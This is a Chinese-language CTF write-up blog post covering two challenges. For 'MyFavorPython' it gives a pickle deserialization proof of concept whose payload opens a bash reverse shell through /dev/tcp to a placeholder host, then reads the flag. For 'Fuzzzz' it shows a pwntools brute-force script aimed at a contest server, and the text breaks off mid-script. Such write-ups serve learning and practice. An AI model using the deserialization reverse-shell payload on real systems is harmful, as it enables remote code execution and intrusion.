WriteUP
TIP:可以留言给我换友链捏
第一次打ctf 之前只会做服务器取证 不知道为什么就第二了 可能运气比较好吧
由于我自己目前在取证工作中,也遇到很多ctf的问题,我个人非常喜欢做ctf的题目,但也会遇到ctf问题难以破解,全网ctf教程我都看完了,但是都觉得不够具体,所以我写一篇博客,希望以最具体的,实操演示的方式,向大家说明ctf的原理,希望与大家一起进步!
MyFavorPython
看看题 开局给了个登录界面 注册个账户直接进入
看到个Python unserialize的界面
推测是打Python反序列化漏洞
构造POC如下:
import base64
payload=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"
tR.
'''
print(base64.b64encode(payload))
#ip和port自己填下
反弹shell后直接cat /flag.txt
Fuzzzz
nc起手 试了几下在找到两个hint
提示len(random_str)=3 secret的长度为10
直接输入10个字符遍历一下
发现有些会变成+
推测+代表正确的字符
遍历出固定的字符为S4PcSec后直接写个爆破脚本
不会写的同学去给GPT嗦牛牛让他帮你
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
context.log_level='debug'
from pwn import *
import string
# 连接到服务器
conn = remote('116.62.53.46', 2333)
# 爆破后三位字符
correct_strings = []
for char1 in string.printable:
test_string = 'S4PcSec' + char1 + char1 + char1
# 发送选项并接收
conn.recvuntil('Choose an option(1 or 2):')
conn.sendline('1')
conn.recvuntil('Fuzz>')
# 发送测试字符串
conn.sendline(test_string)
# 接收服务器响应
response = conn.recvline().strip()
# 根据 '+' 的位置确定哪个字符是正确的
correct_char_index = response.find(